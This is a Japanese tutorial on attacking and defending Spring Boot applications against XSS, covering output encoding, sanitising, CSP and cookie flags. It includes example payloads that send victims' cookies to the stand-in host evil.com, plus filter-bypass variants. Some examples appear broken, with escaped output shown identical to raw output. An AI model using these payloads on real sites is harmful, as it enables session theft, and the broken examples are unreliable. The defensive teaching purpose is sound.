XSS: Spring Bootアプリケーションへの攻撃と防御方法
1. 概要
XSS(クロスサイトスクリプティング)は最も一般的なWebの脆弱性の1つであり、ここ数年OWASPトップ10に常にランクインしています。この記事では、3つの一般的なXSS攻撃タイプを理解し、実際の攻撃例を見た上で、出力エンコーディング、Content Security Policy(CSP)、Spring BootでのHTTPヘッダー設定など、効果的な防御技術を実装する方法を学びます。この記事を読み終えると、自分のアプリケーションのXSS脆弱性を自分で確認し、修正できるようになります。
2. XSSとは?
XSSは、Webアプリケーションが攻撃者に悪意のあるJavaScriptコードをページに挿入することを許可し、被害者のブラウザがそれを正当なページの一部として実行する場合に発生します。その結果として、Cookieやセッション情報の盗聴、ユーザーアクションの偽造、詐欺サイトへのリダイレクトなどが生じます。
主な3つのXSSの種類があります:
- Reflected XSS: ペイロードはリクエスト(クエリ文字列、フォーム)に含まれ、サーバーはフィルタリングせずにそれをすぐに返します。
- Stored XSS: ペイロードはデータベースに保存され(例えば、コメント、プロフィール説明)、その後、すべてのユーザーに表示されます。多くのユーザーに影響を与えるため、より危険です。
- DOM-based XSS: ペイロードはサーバーを経由せず、クライアント側のJavaScriptが安全でないデータ(URL、localStorage)を読み込んでDOMに直接書き込みます。
3. Reflected XSS攻撃の例
シンプルな検索エンドポイントがあり、ユーザーが入力した検索キーワードをそのまま表示する場合を想定してください:
@Controller
public class SearchController {
@GetMapping("/search")
public String search(@RequestParam String keyword, Model model) {
model.addAttribute("keyword", keyword);
return "search-result";
}
}
Thymeleafテンプレートでth:utext(エスケープなしのテキスト)を使って表示する場合:
<p>検索結果: <span th:utext="${keyword}"></span></p>
攻撃者が被害者にこのリンクを送信します:
https://shop.example.com/search?keyword=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
被害者がクリックすると、ブラウザはスクリプトを実行し、被害者のCookieをevil.comに送信します。根本的な原因は、th:utextが生のHTMLをレンダリングし、特殊文字をエンコードしないことです。
注記:
th:utextは、コンテンツが100%信頼できるHTML(例えば、サニタイズされたリッチテキストエディタで管理者が作成したもの)であることを確信している場合にのみ使用してください。デフォルトでは常にth:textを使用してください。
4. Stored XSS攻撃の例
Stored XSSは、ペイロードがシステム内に長期間存在するため、より危険です。例えば、コメント機能の場合:
@Entity
public class Comment {
@Id @GeneratedValue
private Long id;
private String content;
private String authorName;
// getters, setters
}
@PostMapping("/comments")
public String addComment(@RequestParam String content, @RequestParam String authorName) {
Comment comment = new Comment();
comment.setContent(content);
comment.setAuthorName(authorName);
commentRepository.save(comment);
return "redirect:/comments";
}
攻撃者は以下の内容のコメントを送信します:
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
コメント表示ページがHTMLをそのままレンダリングする場合(エンコードなし)、ページを閲覧するすべてのユーザーのCookieが盗まれます。リンクをクリックする必要さえありません。
5. 出力エンコーディングによる防御
黄金律は以下の通りです:出力時に正しいコンテキストに応じてデータをエンコードする(入力時ではなく)。HTMLコンテキストでは、Thymeleafはth:textを使用する際にデフォルトでエスケープします:
<!-- 安全: 自動的にエスケープ -->
<p th:text="${comment.content}"></p>
結果の比較:
入力: <script>alert('XSS')</script>
出力 (th:text): <script>alert('XSS')</script>
出力 (th:utext): <script>alert('XSS')</script> <!-- 危険 -->
th:textを使用すると、ブラウザは文字列をリテラルとして表示し、スクリプトを実行しません。これが最初で最も重要な防御層です。
5.1. 異なるコンテキストで正しくエンコードする
すべての出力位置でHTMLエンコーディングを使用するわけではありません。例えば、JavaScriptの属性またはURL内に値を挿入する場合は、異なるエンコーディングが必要です:
<!-- Context: HTML属性 -->
<a th:href="@{/profile(id=${user.id})}">プロフィールを表示</a>
<!-- Context: JavaScript文字列 - これはやってはいけません -->
<script>
var username = '[[${user.name}]]'; // nameに'); alert(1); //が含まれていると危険
</script>
サーバーからスクリプトにデータを渡す必要がある場合は、JSONでエンコードしてdata-*属性に配置してください:
<div id="user-data" th:data-name="${user.name}"></div>
<script>
const name = document.getElementById('user-data').dataset.name;
</script>
このアプローチにより、JavaScriptリテラルに文字列を直接連結することを回避でき、これはDOM-based XSSの脆弱性の多くの原因となっています。
6. リッチテキストを許可する場合のHTMLサニタイズ
HTMLを保存する正当な場合があります(例えば、太字、斜体、リンク付きのブログ記事)。この場合、すべてをエンコードすることはできず、サニタイズライブラリを使用して安全なタグ/属性をホワイトリスト化する必要があります。
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
<version>1.7.4</version>
</dependency>
@Service
public class HtmlSanitizerService {
private final Policy policy;
public HtmlSanitizerService() throws PolicyException {
this.policy = Policy.getInstance(getClass().getResourceAsStream("/antisamy-policy.xml"));
}
public String sanitize(String rawHtml) throws ScanException, PolicyException {
AntiSamy antiSamy = new AntiSamy();
CleanResults results = antiSamy.scan(rawHtml, policy);
return results.getCleanHTML();
}
}
antisamy-policy.xmlファイルは、ホワイトリストタグを定義します(<b>、<i>、hrefがhttp/httpsのみを許可する<a>など)。ホワイトリストにない任意のタグ/属性(<script>、onerrorなど)は、DBに保存される前に完全に削除されます。
サニタイズの動作をテストします:
@Test
void sanitize_shouldRemoveScriptTag_butKeepSafeFormatting() throws Exception {
HtmlSanitizerService sanitizer = new HtmlSanitizerService();
String dirty = "<p>Hello <b>world</b></p><script>alert(1)</script>";
String clean = sanitizer.sanitize(dirty);
assertThat(clean)
.contains("<p>Hello <b>world</b></p>")
.doesNotContain("<script>");
}
注記: サニタイズは入力時(DBに保存する前に、ペイロードが他のAPIから漏洩するのを防ぐため)と出力時(レンダリングする前に)の両方で実行して、多層防御(defense in depth)を実装する必要があります。
7. Content Security Policy (CSP)
CSPは第2層の防御であり、エンコーディング/サニタイズをすり抜けたXSSペイロードがあったとしても、ブラウザが信頼できるソースからのスクリプトのみを実行するように制限します。
@Configuration
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self' 'unsafe-inline'; " +
"object-src 'none'; " +
"base-uri 'self';"
)
)
);
return http.build();
}
}
各directiveの説明:
default-src 'self': デフォルトでは、同じオリジンからのみリソースをロードします。script-src 'self': あなたのドメインからのみスクリプトを実行します。インラインスクリプトを完全にブロックします(<script>alert(1)</script>はブラウザに拒否され、それが有効かどうかに関係なく実行されません)。object-src 'none': Flash/プラグインをブロックします。古い攻撃ベクトルですが、まだ存在しています。
対応するレスポンスヘッダー:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self';
攻撃者がサニタイズをすり抜けて<img src=x onerror="...">を挿入した場合でも、script-src 'self'のCSPはインラインイベントハンドラー(onerror)の実行をブロックします。これはインラインスクリプトと見なされるためです。
7.1. CSPがUIを破壊しないことを確認する
production環境でCSPを厳密に有効にする前に、report-onlyモードを使用して違反を監視しながらブロックしません:
headers.contentSecurityPolicy(csp -> csp
.policyDirectives("default-src 'self'; script-src 'self'")
.reportOnly()
);
ブラウザはコンソールに警告をログするだけで(report-uriがある場合はレポートを送信)、リソースをブロックしません。このログに基づいて、実際の強制に切り替える前にポリシーを調整できます。
8. HttpOnlyとSameSiteによる安全なCookie設定
XSSをブロックしたとしても、追加の防御層を用意すべきです。JavaScriptがセッションCookieを読めないようにして、XSSが発生した場合の損害を軽減します。
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=strict
http-only=true: JavaScript(document.cookie)はこのCookieを読むことができません。セクション3の例でのCookie盗聴ペイロードは失敗します。secure=true: CookieはHTTPSでのみ送信されます。same-site=strict: Cookieは別のドメインからのリクエストとともに送信されず、XSSと組み合わせたCSRFのリスクが減ります。
9. XSSを自動検出するテスト
エンドポイントが出力を正しくエスケープしているかを検証し、コード変更時のリグレッションを防ぐ統合テストを作成できます。
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class SearchControllerXssTest {
@Autowired
private TestRestTemplate restTemplate;
@Test
void search_shouldEscapeScriptTag_inResponseBody() {
String payload = "<script>alert(1)</script>";
ResponseEntity<String> response = restTemplate.getForEntity(
"/search?keyword=" + payload, String.class);
assertThat(response.getBody())
.doesNotContain("<script>alert(1)</script>")
.contains("<script>");
}
}
このテストは古典的なXSSペイロードを送信し、レスポンスボディに元のスクリプトタグが含まれていないことをassertします。もし含まれていれば、テンプレートが間違った場所でth:utextを使用していることを意味します。
10. 一般的なエラーのチェックリスト
- ユーザーデータに対して
th:utext、innerHTML、またはv-html(Vue)を使用し、サニタイズしない。 <script>ブロックにユーザーデータを直接連結する(data-*属性またはセキュアなJSON経由ではなく)。- 入力時のみエンコード(DBに保存)し、出力時のエンコードを忘れる。表示コンテキストが変わる場合(例えば、CSVエクスポート、PDFレンダリング)、DBからの「クリーン」データも新しいコンテキストで危険になる可能性があります。
- CSPが緩すぎる(
script-src *またはunsafe-inlineを含む)ため、CSPがXSSをブロックする機能を失う。 - セッションCookieの
HttpOnlyを忘れる。XSS攻撃者は、他の場所で出力がエンコードされていても、Cookieを取得できます。 - クライアント側の検証(JavaScript)を信頼し、サーバーで検証/エンコードを再度行わない。クライアント側の検証は容易にバイパスできます。
注記: HTMLタグを「フィルタリング」するために独自の正規表現を記述しないでください(例えば、正規表現で
<script>を削除)。攻撃者は常にバイパス方法を見つけられます(<ScRiPt>、<svg/onload=...>、Unicodeエンコードなど)。AntiSanyやOWASP Java HTML Sanitizerなどの検証済みのサニタイズライブラリを使用してください。
11. 結論
XSSは理解しやすい脆弱性ではありませんが、ユーザーデータの出力場所のいたるところに隠れているため、見落とされやすいです。効果的な防御には多くの層が必要です:レンダリング時に正しいコンテキストでエンコード(th:utextではなくth:textを優先)、リッチHTMLを許可する必要がある場合はホワイトリストのサニタイズ、ペイロードが漏らされたとしてもスクリプトをブロックするようにCSPを有効化、XSSが発生した場合の損害を減らすためにCookieにHttpOnly/Secure/SameSiteを設定します。ユーザー入力を受け付けるすべてのエンドポイントのエスケープをチェックする自動テストを記述してください。これは、コード変更時にこのエラーを繰り返さないための最も低コストな方法です。